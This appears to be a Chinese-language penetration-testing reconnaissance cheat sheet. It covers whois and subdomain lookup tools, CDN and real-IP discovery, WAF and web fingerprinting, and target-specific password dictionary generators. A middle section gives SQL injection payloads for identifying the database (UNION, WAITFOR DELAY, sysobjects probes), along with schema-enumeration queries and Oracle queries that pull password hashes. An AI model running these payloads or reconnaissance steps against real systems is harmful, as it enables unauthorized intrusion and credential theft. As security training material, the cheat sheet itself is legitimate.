sx是一款基于命令行接口的网络扫描器
https://github.com/v-byte-cpu/sx
1.1 域名Whois:
站长之家:http://whois.chinaz.com/
爱站:https://whois.aizhan.com/
微步:https://x.threatbook.cn/
Bugscaner:http://whois.bugscaner.com
Whois:https://who.is/
whois命令(whois example.com)
1.2 IPWhois:
http://ip.webmasterhome.cn/
https://www.whois365.com/
https://tool.chinaz.com/ipwhois
天眼查:https://www.tianyancha.com/
工信部服务平台:https://beian.miit.gov.cn/
站长之家:https://icp.chinaz.com/
3.1 谷歌语法:
site:example.com
VirusTotal:https://www.virustotal.com/#/home/search
DNSdumpster:https://dnsdumpster.com/
3.2 基于SSL证书查询:
https://crt.sh/
https://censys.io/
https://developers.facebook.com/tools/ct/
https://google.com/transparencyreport/https/ct/
3.3 工具:
OneForAll:https://github.com/shmilylty/OneForAll
Knock:https://github.com/guelfoweb/knock
dnssearch:https://github.com/evilsocket/dnssearch
Dumb:https://github.com/giovanifss/Dumb
Subfinder:https://github.com/projectdiscovery/subfinder
ESD:https://github.com/FeeiCN/ESD
4.1 同IP网站查询:
http://stool.chinaz.com/same
https://www.webscan.cc/
Fofa:https://fofa.info/toLogin
Hunter:https://hunter.qianxin.com/
4.2 工具:
https://github.com/k8gege/K8CScan
1.Windows:大小写不敏感
Linux:大小写敏感
2.windows下一般是ASP+IIS+access/sqlserver
Linux下一般是php+Apache+mysql
3.扫描目标22和3389,粗略估计
4.ping,根据ttl值判断(Linux≈64,Windows≈128)
sql server
mysql
access
oracle
sybase
db2
infomix
postgresql
1.字符串拼接:
这两种方式可以拼接字符串。
2.BENCHMARK函数:
MySQL有一个内置的BENCHMARK()
函数,可以测试某些特定操作的执行速度。 参数可以是需要执行的次数和表达式。 表达式可以是任何的标量表达式,比如返回值是标量的子查询或者函数。请注意:该函数只是简单地返回服务器执行表达式的时间,而不会涉及分析和优化的开销。
如上通过对比,发现MD5
的效率SHA1
效率高
在MYSQL当中字符串拼接和BENCHMARK()都是独有的,因此可以通过这些差异来判断
通过输入'
,根据爆出的错误信息来判断
联合
product.jsp?id=' UNION SELECT banner FROM v$version --
联合查询:
?id=' UNION (SELECT banner FROM v$version) --
方法名 | Payload |
---|---|
延时注入 | page.asp?id=';WAITFOR DELAY '00:00:10'; -- |
默认变量 | page.asp?id=sql'; SELECT @@SERVERNAME -- |
触发错误有可能会报出DBMS类型 | page.asp?id=0/@@SERVERNAME |
1.报错信息
在注入点上加入'
,返回错误信息中,如果是Microsoft JET Database Engine错误'80040e14'
的话,则说明网站所用的数据库是Access数据库。
2.逻辑差异
利用SQL和ACCESS的系统表的结构,如下
http://wwww.***.com?id=1 and (select count(*) from sysobjects)>0 //sysobjects 是SQL表
http://www.***.com/id=1 and (select count(*) from msysobjects)>0//msysobjects 是access
如果加sysobjects
的SQL
语句后,网页显示正常, 加sysobject
的SQL
语句后,网站显示不正常,则说明用的是SQLServer
数据库。
如果加sysobjects
和加msysobjects
的SQL
语句后,网页显示都不正常,或者加msysobject
后的网页显示正常,则说明是ACCESS
数据库。
3.对len()和chr()函数支持
如果目标数据库同时支持len()
函数和chr()
函数,且不支持length()
和char()
函数,则很可能是Access数据库。
支持length()
和char()
函数的很可能是MYSQL数据库
Access:
asc(字符) SQLServer:unicode(字符) 作用:返回某字符的 ASCII 码
chr(数字) SQLServer:nchar(数字) 作用:与 asc 相反,根据 ASCII 码返回字符
mid(字符串,N,L) SQLServer:substring(字符串,N,L) 作用:返回字符串从 N 个字符起长度为 L 的子字符串,即 N 到 N+L 之间的字符串
abc(数字) SQLServer:abc (数字) 作用:返回数字的绝对值(在猜解汉字的时候会用到)
A between B And C SQLServer:A between B And C 作用:判断 A 是否界于 B 与 C 之间
Mysql:
version() MySQL 版本
user() 数据库用户名
database() 数据库名
@@datadir 数据库路径
@@version_compile_os 操作系统版本
hex() 把十进制转为十六进制
concat() 连接字符串
ascii() ascii编码
length() 获取长度
substring() mid() 取出字符串
group_concat() 连接一个组的所有字符串 以逗号分隔每一条数据
updatexml()、extractvalue() 用于报错注入
sleep() 休眠
猜数据库 select schema_name from information_schema.schemata
猜某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列 Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容 Select xx_column from xx_table
列出所有的数据库
select group_concat(schema_name) from information_schema.schemata
列出某个库当中所有的表
select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'
列出当前数据库表名
select group_concat(table_name) from information_schema.tables where table_schema=DATABASE()
Oracle
解析IP
select utl_inaddr.get_host_address('google.com') from dual;
获取本机IP地址
select utl_inaddr.get_host_address from dual;
根据IP地址反向解析主机名
select utl_inaddr.get_host_name('*.*.*.*') from dual;
-- 获取系统信息
select banner from v$version where rownum=1 ; -- oracle versi
--获取用户信息
select user from dual; -- current user
select username from user_users; -- current user
select username from all_users; -- all user , the current user can see...
select username from dba_users; -- all user , need pris
-- 获取密码hash
select name, password, astatus from sys.user$; -- password hash <=10g , need privs
select name, password, spare4 from sys.user$; -- password has 11g , need privs
-- 数据库
select global_name from global_name; -- current database
select sys.database_name from dual; -- current database
select name from v$database; -- current database name , need privs
select instance_name from v$instance; -- current database name , need privs
-- 模式
select distinct owner from all_tables; -- all schema
-- 表
select table_name from all_tables where owner='xxx'; -- all table name
-- 列
select owner,table_name,column_name from all_tab_columns where table_name='xxx';
select owner,table_name,column_name from all_tab_cols where table_name='xxx';
通过数据库特性和报错信息,基本可以确定目标数据库类型。
Apache
Nginx
IIS
Tomcat
Weblogic
Jboss
工具:
浏览器插件---Wappalyzer
指纹识别网站---https://fp.shuziguanxing.com/
[检查网站使用的 Web 技术 - 网站信息 (w3techs.com)](https://w3techs.com/sites)
[lcvvvv/httpfinger: httpfinger(和风)是一款Http指纹管理工具~~~ (github.com)](https://github.com/lcvvvv/httpfinger)
通过`响应头`、`错误页面`等位置也可以判断web容器
PHP
JAVA
Python
.NET
JSP
ASP
ASPX
Node.js
判断:
1.查看页面后缀名
2.通过报错信息判断
3.浏览器插件---Wappalyzer
4.[检查网站使用的 Web 技术 - 网站信息 (w3techs.com)](https://w3techs.com/sites)
Javascript
less
Typescript
PHP:ThinkPHP
JAVA:Struts2
Python:django、Flask
Ruby:Rails
JQuery
Bootstrap
HTML5
vue
Angular
React
Highcharts
BugScaner:http://whatweb.bugscaner.com/look/
云悉指纹:http://www.yunsee.cn/finger.html
WhatWeb:https://whatweb.net/
在线指纹识别:http://whatweb.bugscaner.com/look/
潮汐指纹:http://finger.tidesec.net/
Git
WEB-INF泄露
备份文件
配置文件
[Homepage | The Yellow Pages of Emails | Find That Email](https://findthat.email/)
[Taonn/EmailAll: EmailAll is a powerful Email Collect tool — 一款强大的邮箱收集工具 (github.com)](https://github.com/Taonn/EmailAll)
[多个地点Ping服务器,网站测速 - 站长工具 (chinaz.com)](http://ping.chinaz.com/)
[Ping查询_专业的 IP 地址库_IPIP.NET](https://tools.ipip.net/newping.php)
常见CDN服务商
阿里云
腾讯云
百度云
华为云
网宿科技(ChinanNet Center)
蓝汛
金山云
UCloud
网易云
世纪互联
七牛云
京东云
CloudFlare
Akamai(阿卡迈)
Limelight Networks(简称LLNW)
AWS Cloud(亚马逊)
Google(谷歌)
Comcast(康卡斯特)
1.如果是多个IP基本是使用了cdn,使用IP去每家cdn服务商检测,查看是否是某家cdn
2.ping域名,看CHAME解析的域名属于哪家cdn服务商
3.nslookup使用不同dns解析,如果解析不一样,可能使用了cdn
1.查询子域名的解析,可能指向源站
2.查询历史DNS记录
[DNSDB](https://www.dnsdb.io/zh-cn/)
[ViewDNS.info - Your one source for DNS related tools!](https://viewdns.info/)
[域名查iP 域名解析 iP查询网站 iP反查域名 iP反查网站 同一iP网站 同iP网站域名iP查询 (ip138.com)](https://site.ip138.com/)
3.根据邮箱信息查找邮件服务器,很可能是源站
4.通过网站泄露的信息(phpinfo、github源码等)
5.shodan、FOFA、zoomeye、hunter等搜索域名查找
6.如果网站有app,可以抓包查看是否是源IP
根据域名、公司名生成密码字典
https://github.com/ort4u/PwdBUD
[cityofEmbera/CPassword: 社工密码生成 (github.com)](https://github.com/cityofEmbera/CPassword)
https://github.com/zgjx6/SocialEngineeringDictionaryGenerator
[EnableSecurity/wafw00f: WAFW00F allows one to identify and fingerprint Web Application Firewall (WAF) products protecting a website. (github.com)](https://github.com/EnableSecurity/wafw00f)
[CSecGroup/wafid:Wafid 识别和指纹 Web 应用程序防火墙 (WAF) 产品。 (github.com)](https://github.com/CSecGroup/wafid)
360
d盾
UPUPW安全
阿里云盾
安恒明御WAF
百度云
宝塔
创宇盾
护卫神
华为云
奇安信安域
奇安信网站卫士
腾讯云
腾讯宙斯盾
网防G01
网宿云
安全狗
西数WTS-WAF
玄武盾
铱讯WAF
云锁
长亭SafeLine
智创防火墙